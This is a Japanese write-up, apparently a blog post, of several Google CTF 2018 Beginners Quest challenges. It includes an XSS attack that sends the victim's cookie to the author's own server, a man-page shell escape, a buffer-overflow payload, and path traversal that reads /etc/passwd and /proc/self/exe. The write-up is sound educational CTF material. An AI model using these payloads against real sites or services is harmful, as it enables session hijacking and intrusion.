TextDecoder(\u0026#34;utf-8\u0026#34;).decode(await crypto.subtle.decrypt(alg, key, secret)) } \u0026lt;/script\u0026gt; ソースを読むと、テキストボックスに入力された文字列が正規表現/^CTF{([0-9a-zA-Z_@!?-]+)}$/にマッチする場合に{}の中の文字列をfunction xの引数として渡し、その結果がtrueであれば何らかのバイナリ列をデコードしている。\n\u0026lt;script\u0026gt; async function x(password) { // TODO: check if they can just use Google to get the password once they understand how this works. var code = \u0026#39;icffjcifkciilckfmckincmfockkpcofqcoircqfscoktcsfucsivcufwcooxcwfycwiAcyfBcwkCcBfDcBiEcDfFcwoGcFfHcFiIcHfJcFkKcJfLcJiMcLfNcwwOcNNPcOOQcPORcQNScRkTcSiUcONVcUoWcOwXcWkYcVkЀcYiЁcЀfЂcQoЃcЂkЄcЃfЅcPNІcЅwЇcІoЈcЇiЉcЈfЊcPkЋcЊiЌcІiЍcЌfЎcWoЏcЎkАcЏiБcІkВcБfГcNkДcГfЕcЇkЖcЕiЗcЖfИcRwЙcИoКcЙkЛcUkМcЛiНcМfОcИkПcОiРcПfСcUwТcСiУcQkФcУiХcЃiЦcQwЧcЦoШcЧkЩcШiЪcЩfЫcRiЬcЫfЭcКiЮcЭfЯcСoаcЯiбcГiвcЙiгcRoдcгkеcдiжdТaзcЛfиdзaжcжийcСkкdйaжcжклcйfмdлaжcжмнdТaжcжноdЀaжcжопdNaжcжпрcUiсcрfтdсaуdЁaтcтутcтофcТfхdфaтcтхтcтктcтнтcтмцdсaтcтцтcтктcтутcтнчaaтшdЯaщcйiъcщfыdъaьcжыэcVfюdэaьcьюьcьояdЛaьcьяьcьуьcьыѐчшьёѐшшђcOfѓdђaѓcѓнѓcѓнєcUfѕdєaѓcѓѕіcЯfїdіaѓcѓїјaёѓљaaтњcжшћcЎiќcћfѝdќaњcњѝњcњeўcЏfџdўaњcњџѠdАaњcњѠњcњшњcњѝњcњfњcњџѡљшњѢaaтѣcжшѣcѣѝѣcѣeѣcѣџѤcЯkѥdѤaѣcѣѥѣcѣшѣcѣѝѣcѣfѣcѣџѦѢшѣѧcцнѧcѧїѨdСaѧcѧѨѧcѧкѧcѧуѩaёѧѪcхмѫdрaѪcѪѫѪcѪкѬdYaѪcѪѬѪcѪиѭaѩѪѮcяюѯdНaѮcѮѯѮcѮиѮcѮхѮcѮкѰaѭѮѱdVaѲcхѱѲcѲѕѳcNoѴcѳkѵcѴfѶdѵaѲcѲѶѲcѲiѲcѲlѲcѲmѷјѲgѸјѭѷѹbѰѸѺcXfѻdѺaѻcѻюѻcѻоѻcѻкѻcѻoѼdђaѻcѻѼѻcѻнѻcѻнѻcѻѕѻcѻїѽaёѻѾѽѹшѿceeҀceeҁcee҂ceeѿaѾeҀјѿT҂ѡҀшҁјh҂hѦҁшѿaѾfҀјѿV҂ѡҀшҁјh҂hѦҁшѿaѾiҀјѿU҂ѡҀшҁјh҂hѦҁшѿaѾjҀјѿX҂ѡҀшҁјh҂hѦҁшѿaѾkҀјѿЁ҂ѡҀшҁјh҂hѦҁшѿaѾlҀјѿF҂ѡҀшҁјh҂hѦҁшѿaѾmҀјѿЄ҂ѡҀшҁјh҂hѦҁшѿaѾnҀјѿЉ҂ѡҀшҁјh҂hѦҁшѿaѾoҀјѿЄ҂ѡҀшҁјh҂hѦҁшѿaѾpҀјѿЋ҂ѡҀшҁјh҂hѦҁшѿaѾqҀјѿЍ҂ѡҀшҁјh҂hѦҁшѿaѾrҀјѿА҂ѡҀшҁјh҂hѦҁшѿaѾsҀјѿF҂ѡҀшҁјh҂hѦҁшѿaѾtҀјѿВ҂ѡҀшҁјh҂hѦҁшѿaѾuҀјѿД҂ѡҀшҁјh҂hѦҁшѿaѾvҀјѿЗ҂ѡҀшҁјh҂hѦҁшѿaѾwҀјѿК҂ѡҀшҁјh҂hѦҁшѿaѾxҀјѿН҂ѡҀшҁјh҂hѦҁшѿaѾyҀјѿР҂ѡҀшҁјh҂hѦҁшѿaѾAҀјѿТ҂ѡҀшҁјh҂hѦҁшѿaѾBҀјѿФ҂ѡҀшҁјh҂hѦҁшѿaѾCҀјѿW҂ѡҀшҁјh҂hѦҁшѿaѾDҀјѿХ҂ѡҀшҁјh҂hѦҁшѿaѾEҀјѿЪ҂ѡҀшҁјh҂hѦҁшѿaѾFҀјѿЬ҂ѡҀшҁјh҂hѦҁшѿaѾGҀјѿЮ҂ѡҀшҁјh҂hѦҁшѿaѾHҀјѿа҂ѡҀшҁјh҂hѦҁшѿaѾIҀјѿe҂ѡҀшҁјh҂hѦҁшѿaѾJҀјѿб҂ѡҀшҁјh҂hѦҁшѿaѾKҀјѿв҂ѡҀшҁјh҂hѦҁшѿaѾLҀјѿK҂ѡҀшҁјh҂hѦҁшѿaѾMҀјѿе҂ѡҀшҁјh҂hѦҁшѐceeёceeѓceeјceeљceeњceeѡceeѢceeѣceeѦceeѧceeѩceeѪceeѭceeѮceeѰceeѲceeѷceeѸceeѹceeѻceeѽceeѾceeҀceeҁceeжceeтceeчceeьcee\u0026#39; var env = { a: (x,y) =\u0026gt; x[y], b: (x,y) =\u0026gt; Function.constructor.apply.apply(x, y), c: (x,y) =\u0026gt; x+y, d: (x) =\u0026gt; String.fromCharCode(x), e: 0, f: 1, g: new TextEncoder().encode(password), h: 0, }; for (var i = 0; i \u0026lt; code.length; i += 4) { var [lhs, fn, arg1, arg2] = code.substr(i, 4); try { env[lhs] = env[fn](env[arg1], env[arg2]); } catch(e) { env[lhs] = new env[fn](env[arg1], env[arg2]); } if (env[lhs] instanceof Promise) env[lhs] = await env[lhs]; } return !env.h; } \u0026lt;/script\u0026gt; function xでは文字列codeを4文字ずつ読み取り、その内容に応じて処理を行っている。この関数でtrueを返すには最終的にenv.hの値がnull, undefined, 0, \u0026lsquo;\u0026rsquo;(空文字列), falseのいずれかである必要がある。\nfor (var i = 0; i \u0026lt; code.length; i += 4) { var [lhs, fn, arg1, arg2] = code.substr(i, 4); console.log(\u0026#39;-------------------------\u0026#39;, i, env[\u0026#39;h\u0026#39;]); console.log(lhs, \u0026#34;=\u0026#34;, env[fn], \u0026#34;(\u0026#34;, env[arg1], \u0026#34;,\u0026#34;, env[arg2], \u0026#34;)\u0026#34;); console.log(env); envの変化を追うためにconsole.logでプリントデバッグを行う。ざっと眺めると、しばらくは何らかの文字列の生成を行っているが、i=876から引数passwordのsha-256 ハッシュ値を取っているらしき処理が確認できる。\nその後はまたしばらく文字列の生成が続き、i = 940で先程生成したハッシュ値のUint8Array()をenv['Ѿ']に代入している。\ni = 980で初めてenv.hの値が変化するため直前の処理に注目する。デバッグのため追加でarg1とarg2を出力している。\ni = 960で先程代入したUint8Array()のindex 0をenv['ѿ']に代入し、i = 968でenv['ѿ']とenv['T'](= 230)とのxorを取りenv['҂']に代入している。i = 976でenv['h']とenv['҂']とのorを取った値をenv['h']に代入している。\nつまり、少なくともi = 960からi = 976までの処理を行いenv.hを0にするためには、function xの引数passwordのハッシュ値を取ったUint8Array()のindex 0が230となる必要がある。\ni = 980以降の処理を見ると、Uint8Array()のindex 1以降について同様の処理を行っている。つまりxorを取っている箇所の結果が全て0になればよいと考えられる。\nvar nums = []; for (var i = 0; i \u0026lt; code.length; i += 4) { var [lhs, fn, arg1, arg2] = code.substr(i, 4); if(i \u0026gt;= 960 ) { console.log(\u0026#39;-------------------------\u0026#39;, i, env[\u0026#39;h\u0026#39;]); console.log(lhs, \u0026#34;=\u0026#34;, env[fn], \u0026#34;(\u0026#34;, env[arg1], \u0026#34;,\u0026#34;, env[arg2], \u0026#34;)\u0026#34;); console.log(env); console.log(\u0026#39;arg1:\u0026#39;, arg1, \u0026#39; arg2:\u0026#39;, arg2); if(lhs == \u0026#39;҂\u0026#39;) { nums.push(env[arg1][1]) } } try { env[lhs] = env[fn](env[arg1], env[arg2]); } catch(e) { env[lhs] = new env[fn](env[arg1], env[arg2]); } if (env[lhs] instanceof Promise) env[lhs] = await env[lhs]; if(i == 884){ console.log(env[lhs]) } } console.log(nums); return !env.h; 以上のようにしてi \u0026gt;= 960についてxorを取られている値を出力。結果は[230, 104, 96, 84, 111, 24, 205, 187, 205, 134, 179, 94, 24, 181, 37, 191, 252, 103, 247, 114, 198, 80, 206, 223, 227, 255, 122, 0, 38, 250, 29, 238]。\nCTF{}の中身のsha-256のハッシュ値が以上の結果と一致していればxorを取った結果が全て0になり、最終的なenv.hが0となる。\nimport binascii nums = [230, 104, 96, 84, 111, 24, 205, 187, 205, 134, 179, 94, 24, 181, 37, 191, 252, 103, 247, 114, 198, 80, 206, 223, 227, 255, 122, 0, 38, 250, 29, 238] print(bytearray(nums).hex()) ハッシュ値をバイト列から文字列に直すためのPython Script。結果はe66860546f18cdbbcd86b35e18b525bffc67f772c650cedfe3ff7a0026fa1dee。\nこれがハッシュ値となる文字列はHash Encryption and Reverse Decryption等のサービスを使って求める。得られた値をCTF{}の中身としたものがフラグである。\n余談 Chromeを使用したプリントデバッグでconsole.log(env)とすると意図しない出力5となる。(これに引っかかり自力で解けなかった)\nROUTER-UI username, passwordを入力しSign inを行うページ https://router-ui.web.ctfcompetition.com/login が与えられる。\nXSS脆弱性確認 If we could find an XSS on the page then we could use it to steal the root user session token.\n問題文によるとXSSが実行可能であり、これを用いてroot userのsession tokenを奪う必要がある。\nまず普通の文字列でログインを試す。\n不自然に//で区切られており、何らかの場面でこれを利用すると考えられる。\n次に、usernameに\u0026lt;script\u0026gt;alert(1);\u0026lt;/script\u0026gt;を入力しXSSを試す。ChromeとSafariではブラウザのXSSブロック機能が働くためFirefoxを用いた。\nalert(1)が動作している。同様の手順でpasswordにもXSSの脆弱性があることを確認した。\n問題文に書かれているメールアドレス確認 In case you find something, try to send an email to wintermuted@googlegroups.com.\n問題文には管理人らしき人物にメール送信が可能とも書いている。\n挙動確認のためwintermuted@googlegroups.comへ本文が空のメールを送ると、以下の文が返信された。\nHey, I checked out your email, but I couldn\u0026#39;t spot anything that looked like a link. Can you send it again? 送信したリンクへWintermutedがアクセスするらしい。\nSign inページ内にはWintermutedにスクリプトを実行させる手段が無いため、攻撃サーバを用意してcookieを奪う問題だと推測できる。(攻撃サーバを立てるという発想がなく、ここが分からなかった)\n攻撃用サーバ用意 攻撃用サーバを立て、Sign inページへ自動的にPOSTを行うフォームを作成する。ここではhttps://ctf.unigiri.netを立て、Let\u0026rsquo;s Encryptで証明書を取得した。\nWintermutedに踏ませるrouter-ui.htmlは以下の通り。usernameとpasswordを区切る文字列//を利用するとURLを含むscriptの実行に成功する。\n全ての通信は必ずHTTPSで通信すること。HTTP通信では後述のCookieを得られない。\n\u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;form method=\u0026#34;POST\u0026#34; action=\u0026#34;https://router-ui.web.ctfcompetition.com/login\u0026#34;\u0026gt; \u0026lt;input name=\u0026#34;username\u0026#34; value=\u0026#34;\u0026lt;script src=https:\u0026#34;\u0026gt; \u0026lt;input name=\u0026#34;password\u0026#34; value=\u0026#34;ctf.unigiri.net/steal.js\u0026gt;\u0026lt;/script\u0026gt;;\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;script\u0026gt;document.forms[0].submit();\u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; steal.jsの中身はwindow.location.href='https://ctf.unigiri.net/log.php?'+document.cookie;一行のみ。\nこれによりWintermutedがrouter-ui.htmlへアクセスした際、以下の順で通信が発生する。\nGET https://ctf.unigiri.net/router-ui.html POST https://router-ui.web.ctfcompetition.com/login GET https://ctf.unigiri.net/log.php?COOKIE 3回目の通信のパラメータにはWintermutedのCookieが挿入され、この値を攻撃サーバのアクセスログから確認する。\n攻撃実施 Wintermutedへ攻撃用URL送信 本文に https://ctf.unigiri.net/router-ui.html を入力して送信。猫の画像は添付しなくてよい。\nアクセスログ確認 - - [15/Dec/2018:08:45:28 +0000] \u0026#34;GET /router-ui.html HTTP/2.0\u0026#34; 200 337 \u0026#34;-\u0026#34; \u0026#34;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.77 Safari/537.36\u0026#34; - - [15/Dec/2018:08:45:28 +0000] \u0026#34;GET /steal.js HTTP/2.0\u0026#34; 200 205 \u0026#34;https://router-ui.web.ctfcompetition.com/login\u0026#34; \u0026#34;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.77 Safari/537.36\u0026#34; - - [15/Dec/2018:08:45:28 +0000] \u0026#34;GET /log.php?flag=Try%20the%20session%20cookie;%20session=Avaev8thDieM6Quauoh2TuDeaez9Weja HTTP/2.0\u0026#34; 404 277 \u0026#34;https://router-ui.web.ctfcompetition.com/login\u0026#34; \u0026#34;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.77 Safari/537.36\u0026#34; 3行目のflag=Try...がWintermutedのCookieである。URL Decodeを行うとTry the session cookie; session=Avaev8thDieM6Quauoh2TuDeaez9Wejaが得られ、指示通りに進める。\nCookie設定 Firefoxのヘッダ書き換えプラグインを用いてCookieにsession=Avaev8thDieM6Quauoh2TuDeaez9Wejaを指定した状態で https://router-ui.web.ctfcompetition.com/ へアクセス。\n管理画面が表示され、ページのソースからフラグを得る。\nPwn MOAR nc moar.ctfcompetition.com 1337を実行するとman socatが開く。!\u0026lt;command\u0026gt;でshell codeが実行可能なので、怪しいファイルを探しフラグを得る。\n$ nc moar.ctfcompetition.com 1337 socat(1) socat(1) NAME socat - Multipurpose relay (SOcket CAT) SYNOPSIS socat [options] \u0026lt;address\u0026gt; \u0026lt;address\u0026gt; socat -V socat -h[h[h]] | -?[?[?]] filan procan DESCRIPTION Socat is a command line based utility that establishes two bidirec- tional byte streams and transfers data between them. Because the streams can be constructed from a large set of different types of data sinks and sources (see address types), and because lots of address options may be applied to the streams, socat can be used for many dif- ferent purposes. Filan is a utility that prints information about its active file descriptors to stdout. It has been written for debugging socat, but might be useful for other purposes too. Use the -h option to find more Manual page socat(1) line 1 (press h for help or q to quit)!ls !ls bin dev home lib64 mnt proc run srv tmp var boot etc lib media opt root sbin sys usr !done (press RETURN)!ls /home !ls /home moar !done (press RETURN)!ls /home/moar !ls /home/moar disable_dmz.sh !done (press RETURN)!cat /home/moar/disable_dmz.sh !cat /home/moar/disable_dmz.sh #!/bin/sh # Copyright 2018 Google LLC # # Licensed under the Apache License, Version 2.0 (the \u0026#34;License\u0026#34;); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an \u0026#34;AS IS\u0026#34; BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. echo \u0026#39;Disabling DMZ using password CTF{DUMMY_FLAG}\u0026#39; echo CTF{DUMMY_FLAG} \u0026gt; /dev/dmz !done (press RETURN) MESSAGE OF THE DAY コマンドnc motd.ctfcompetition.com 1337とバイナリmotdが与えられる。\nncを実行するとメニューが表示される。\nChoose functionality to test: 1 - Get user MOTD 2 - Set user MOTD 3 - Set admin MOTD (TODO) 4 - Get admin MOTD 5 - Exit choice: ここではプログラムに保存する1行の文字列をMOTDと呼んでいる。起動直後はMOTDとしてMOTD: Welcome back friend!が保存されている。\n機能1で一般ユーザ用のMOTD表示, 2で保存を行い、3でadmin用のMOTD設定, 4で表示を行う。\n脆弱な挙動を探す $ python -c \u0026#34;print(\u0026#39;2\\n\u0026#39;+\u0026#39;A\u0026#39;*300)\u0026#34; | nc motd.ctfcompetition.com 1337 Choose functionality to test: 1 - Get user MOTD 2 - Set user MOTD 3 - Set admin MOTD (TODO) 4 - Get admin MOTD 5 - Exit choice: Enter new message of the day New msg: New message of the day saved! $ # 正常であれば再度メニューが表示されるが、異常終了した 機能2で適当に長い文字列を与えるとプログラムが異常終了するため、文字列の長さをチェックしていないと考えられる。\nIDAによる挙動確認 ; Attributes: bp-based frame public set_motd set_motd proc near src= byte ptr -100h push rbp mov rbp, rsp sub rsp, 100h lea rdi, s ; \u0026#34;Enter new message of the day\u0026#34; call _puts lea rdi, format ; \u0026#34;New msg: \u0026#34; mov eax, 0 call _printf lea rax, [rbp+src] mov rdi, rax mov eax, 0 call _gets lea rax, [rbp+src] mov edx, 100h ; n mov rsi, rax ; src lea rdi, MOTD ; dest call _strncpy mov cs:byte_608071DF, 0 lea rdi, aNewMessageOfTh ; \u0026#34;New message of the day saved!\u0026#34; call _puts nop leave retn set_motd endp 機能2の処理内容。sub rsp, 100hでMOTD入力用バッファを確保した後、[rbp+src]へ入力の長さを確認せず読み込んでいる。よってここでリターンアドレスの書き換えが可能。\n; Attributes: bp-based frame public read_flag read_flag proc near var_110= byte ptr -110h var_8= qword ptr -8 push rbp mov rbp, rsp sub rsp, 110h lea rdx, [rbp+var_110] mov eax, 0 mov ecx, 20h mov rdi, rdx rep stosq lea rsi, modes ; \u0026#34;r\u0026#34; lea rdi, filename ; \u0026#34;./flag.txt\u0026#34; call _fopen mov [rbp+var_8], rax lea rdx, [rbp+var_110] mov rax, [rbp+var_8] lea rsi, aS ; \u0026#34;%s\u0026#34; mov rdi, rax mov eax, 0 call ___isoc99_fscanf lea rax, [rbp+var_110] mov rsi, rax lea rdi, aAdminMotdIsS ; \u0026#34;Admin MOTD is: %s\\n\u0026#34; mov eax, 0 call _printf nop leave retn read_flag endp また、機能4から呼び出される関数read_flagが存在し、これは./flag.txtの内容を読んで出力している。\n先程のリターンアドレスをこの関数の開始地点に設定するとフラグが得られると考えられる。IDAのText viewより開始地点は0x606063A5であると分かる。\npayload作成 関数set_motdの開始直後にてリターンアドレスはRSPに保存されている。(直前のcallによりpushされるため)\nここから「push rbp」「mov rbp, rsp」「sub rsp, 100h」が順に実行され、MOTD入力用の領域[rbp-100h]が確保される。よって以下の長さの合計264がpayload先頭の無意味な文字の長さとなる。\n「push rbp」の8バイト 「sub rsp, 100h」の0x100(=256)バイト ただしgets()は読み込んだ文字列にヌル文字を追加するため、実際の入力は1文字減り263文字となる点に注意。\n無意味な文字を出力した後にリターンアドレス0x606063A5を入力する。リトルエンディアンにより逆順となる。\n$ python -c \u0026#34;print(\u0026#39;A\u0026#39;*263 + \u0026#39;\\xa5\\x63\\x60\\x60\u0026#39;)\u0026#34; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¥c`` payload送信 以上で作成したpayloadを機能2実行時に入力するとフラグを得る。\n$ python -c \u0026#34;print(\u0026#39;2\\n\u0026#39;+\u0026#39;A\u0026#39;*263 + \u0026#39;\\xa5\\x63\\x60\\x60\u0026#39;)\u0026#34; | nc motd.ctfcompetition.com 1337 Choose functionality to test: 1 - Get user MOTD 2 - Set user MOTD 3 - Set admin MOTD (TODO) 4 - Get admin MOTD 5 - Exit choice: Enter new message of the day New msg: New message of the day saved! Admin MOTD is: CTF{DUMMY_FLAG} 余談 payload送信をCentOS7で試したところリターンアドレス\\xa5がうまく出力されず失敗した。macOSでは成功しており、この差の原因は不明。\nPwn-Reversing ADMIN UI $ nc mngmnt-iface.ctfcompetition.com 1337 === Management Interface === 1) Service access 2) Read EULA/patch notes 3) Quit 問題文の通りにアクセスする。フラグ入手に利用するメニューは2) Read EULA/patch notes\n=== Management Interface === 1) Service access 2) Read EULA/patch notes 3) Quit 2 The following patchnotes were found: - Version0.2 - Version0.3 Which patchnotes should be shown? Version0.2 ## Release 0.2 - Updated library X to version 0.Y - Fixed path traversal bug - Improved the UX === Management Interface === 1) Service access 2) Read EULA/patch notes 3) Quit 2 The following patchnotes were found: - Version0.2 - Version0.3 Which patchnotes should be shown? Version0.3 # Version 0.3 - Rollback of version 0.2 because of random reasons - Blah Blah - Fix random reboots at 2:32 every second Friday when it\u0026#39;s new-moon. Version0.2の、Fixed path traversal bugがヒントになっており、このシステムはpath traversalが可能。\n=== Management Interface === 1) Service access 2) Read EULA/patch notes 3) Quit 2 The following patchnotes were found: - Version0.2 - Version0.3 Which patchnotes should be shown? ../../../../../etc/passwd ----- snip ----- user:x:1337:1337::/home/user: /etc/passwdのうち、一般ユーザはuserのみ。\nWhich patchnotes should be shown? ../../../../home/user/flag CTF{DUMMY_FLAG}=== Management Interface === 1) Service access 2) Read EULA/patch notes 3) Quit 勘に頼り/home/user以下を探索したところ/home/user/flagよりフラグを得た。\nADMIN UI 2 問題文にADMIN UIと同様のテクニックでパスワードを得られると書かれている。\nWriteUp6やブログ記事7によると/proc/selfが現在実行中のプロセスへのシンボリックリンクになっているため、ここから実行コマンドを得る。(ここが分からなかった)\nprintf \u0026#39;2\\n../../../../../proc/self/exe\\n\u0026#39; | nc mngmnt-iface.ctfcompetition.com 1337 \u0026gt; admin-ui2 ^C $ binwalk -e --dd=\u0026#39;.*\u0026#39; admin-ui2 DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 182 0xB6 ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV) 98155 0x17F6B Unix path: /usr/include/c++/7 $ mv _admin-ui2.extracted/B6 ./admin-ui2.elf /proc/self/exeが実行中のプログラムであり、標準出力等の余計な文字列を取り除くためbinwalkでelfを取り出す。\n$ nm ./admin-ui2.elf | grep -i flag 0000000041414a40 r _ZL4FLAG 0000000041414a2c r _ZL9FLAG_FILE $ objdump -M intel -d ./admin-ui2.elf | grep -i flag | head 4141422b: 48 8d 3d 31 08 00 00 lea rdi,[rip+0x831] # 41414a63 \u0026lt;_ZL4FLAG+0x23\u0026gt; 4141429a: 48 8d 3d ca 07 00 00 lea rdi,[rip+0x7ca] # 41414a6b \u0026lt;_ZL4FLAG+0x2b\u0026gt; 414142ca: 48 8d 35 9d 07 00 00 lea rsi,[rip+0x79d] # 41414a6e \u0026lt;_ZL4FLAG+0x2e\u0026gt; ----- snip ----- nmやobjdumpでシンボル_ZL4FLAGが確認でき、怪しいため内容を確認する。\n$ gdb -batch -ex \u0026#39;x/s _ZL4FLAG\u0026#39; ./admin-ui2.elf 0x41414a40 \u0026lt;_ZL4FLAG\u0026gt;: \u0026#34;\\204\\223\\201\\274\\223\\260\\250\\230\\227\\246\\264\\224\\260\\250\\265\\203\\275\\230\\205\\242\\263\\263\\242\\265\\230\\263\\257\\363\\251\\230\\366\\230\\254\\370\\272/bin/sh\u0026#34; この文字列をそのままdecodeするとエラーとなる。実行時に何らかの処理が加わっている可能性があるため逆アセンブルし確認。今回はIDAを用いた。\nADMIN UI 2のパスワード処理部分。アセンブリに慣れていないためコメントを付け読み込む。ここではアドレスのコピーをロード、値のコピーをコピーと呼んでいる。\npassword= byte ptr -90h l= qword ptr -10h i= qword ptr -8 lea rax, [rbp+password] ; raxにパスワード入力箇所をロード mov rsi, rax ; rsiにraxをコピー。scanfの第2引数となる lea rdi, a127s ; \u0026#34;%127s\u0026#34;, rdiに\u0026#34;%127s\u0026#34;をロード。_scanfの第1引数となる mov eax, 0 ; eaxに0をコピー。ここにscanfの返り値が入る call _scanf lea rax, [rbp+password] ; raxにパスワード入力箇所をロード mov rdi, rax ; s, rdiにrax(=変数password)の値をコピー。strlenの第1引数となる call _strlen mov [rbp+l], rax ; rbp+lにrax(=strlenの返り値)をコピー mov [rbp+i], 0 ; rbp+iに0をコピー loc_4141449F: mov rax, [rbp+i] ; raxにrbp+iの値をコピー cmp rax, [rbp+l] ; raxとrbp+l(=変数passwordの値の長さ)を比較 jnb short loc_414144D6 ; rax \u0026lt; rbp+lであれば以下のコードへ lea rdx, [rbp+password] ; rdxにpasswordをロード mov rax, [rbp+i] ; raxにrbp+iの値をコピー add rax, rdx ; raxにrdx(=password)の値を足す(=raxがpassword[i]のアドレスとなる) movzx eax, byte ptr [rax] ; raxのうち1バイトをeaxにコピー(=eaxにpassword[i]の値をコピー) xor eax, 0FFFFFFC7h ; eaxと0FFFFFFC7hでxorを取った値をeaxにコピー mov ecx, eax ; ecxにeaxの値をコピー lea rdx, [rbp+password] ; rdxにpasswordをロード mov rax, [rbp+i] ; rbp+iの値をraxにコピー add rax, rdx ; raxにrdxの値を足す mov [rax], cl ; ? add [rbp+i], 1 ; rbp+iに1を足す jmp short loc_4141449F 要するに、以下のようにpasswordの各値と0xC7をxorしている。\nscanf(\u0026#34;%127s\u0026#34;, password); l = strlen(password): for(i = 0; i \u0026lt; l; ++i) password[i] ^= 0xC7u; 同様の処理を先程得た_ZL4FLAGの値へ行い、再度decodeを試すとフラグを得る。\n$ cat decode.py password = \u0026#39;\u0026#39; for b in b\u0026#39;\\204\\223\\201\\274\\223\\260\\250\\230\\227\\246\\264\\224\\260\\250\\265\\203\\275\\230\\205\\242\\263\\263\\242\\265\\230\\263\\257\\363\\251\\230\\366\\230\\254\\370\\272/bin/sh\u0026#39;: password += chr(ord(b) ^ ord(b\u0026#39;\\xc7\u0026#39;)) print(password) $ python decode.py CTF{DUMMY_FLAG} 余談 当初/etc/passwd以外にヒントとなるファイルが無いかをPath Traversal Cheat Sheet8を用いて探したが、成果は無かった。\nCOMファイル - Wikipedia\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDOSBox, an x86 emulator with DOS\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDownload Enhanced DEBUG (formally DOS Debug) 1.32\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCTFtime.org / Google Capture The Flag 2018 (Quals) / Beginner\u0026rsquo;s Quest - Floppy2 / Writeup\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n【Chrome】参照型変数を console.log/dir した時の挙動が怪しい｜もっこりJavaScript｜ANALOGIC（アナロジック）\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCTFtime.org / Google Capture The Flag 2018 (Quals) / Beginner\u0026rsquo;s Quest - Admin UI2 / Writeup\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n/proc/self/exe | asdfのネタ帳\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPath Traversal Cheat Sheet: Linux — GracefulSecurity\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://unigiri.gitlab.io/posts/google-ctf-2018-beginners-quest/","summary":"\u003cp\u003eこの記事は\u003ca href=\"https://adventar.org/calendars/3210\"\u003eCTF Advent Calendar 2018\u003c/a\u003e 19日目の記事です。18日目はmage_1868さんの\u003ca href=\"https://gist.github.com/m---/262d66e0163d42030d9ce1c272e6f65e\"\u003eMortAl mage aGEnts write-up\u003c/a\u003eでした。\u003c/p\u003e\n\u003cp\u003eCTFビギナーなので\u003ca href=\"https://capturetheflag.withgoogle.com/#beginners/\"\u003eGoogle CTF 2018 Beginners Quest\u003c/a\u003eを解いており、\u003ca href=\"/diary\"\u003eDiary\u003c/a\u003eで書いているWriteupsをまとめます。全て解き終わらなかったので残りは解け次第追記します。\u003c/p\u003e\n\u003cp\u003e解くにあたり使ったツールも書こうとしてたんですが、長文になるため別機会で。コメントがあればTwitterもしくはMastodonまでお願いします。\u003c/p\u003e\n\u003ch2 id=\"misc\"\u003eMisc\u003c/h2\u003e\n\u003ch3 id=\"letter\"\u003eLETTER\u003c/h3\u003e\n\u003cp\u003ePDFファイルが1つ与えられる。Viewerによる検索でフラグを得る。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/google-ctf-2018-beginners-quest/13.png\"\u003e\u003c/p\u003e\n\u003ch3 id=\"ocr-is-cool\"\u003eOCR IS COOL!\u003c/h3\u003e\n\u003cp\u003eGmailのメール本文がキャプチャされたPNGファイルが1つ与えられる。\u003c/p\u003e\n\u003cp\u003e文面からROT Nと考えられ、本文中の\u003ccode\u003eVMY{vtxltkvbiaxkbltlnulmbmnmbhgvbiaxk}\u003c/code\u003eを復号する。フラグは\u003ccode\u003eCTF{...}\u003c/code\u003eの形式であるため、ROT 7であると分かる。\u003c/p\u003e\n\u003cp\u003e復号には\u003ca href=\"https://gchq.github.io/CyberChef/\"\u003eCyberChef\u003c/a\u003eを用いた。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/google-ctf-2018-beginners-quest/14.png\"\u003e\u003c/p\u003e\n\u003ch3 id=\"security-by-obscurity\"\u003eSECURITY BY OBSCURITY\u003c/h3\u003e\n\u003cp\u003eファイルが1つ与えられる。file commandによりzipだと分かるため展開する。\u003c/p\u003e\n\u003cp\u003eある程度展開すると他の拡張子に変化するためコマンドを変えてまた展開する、ということをzip, xz, bz2, gzと行っていくと、最後にパスワード付きのzipが現れる。\u003c/p\u003e\n\u003cp\u003ebrute forceでパスワードを確認し、展開してフラグを得る。ここではfcrackdiscを用いた。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e展開スクリプト\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e \u003cspan class=\"nn\"\u003eos\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan 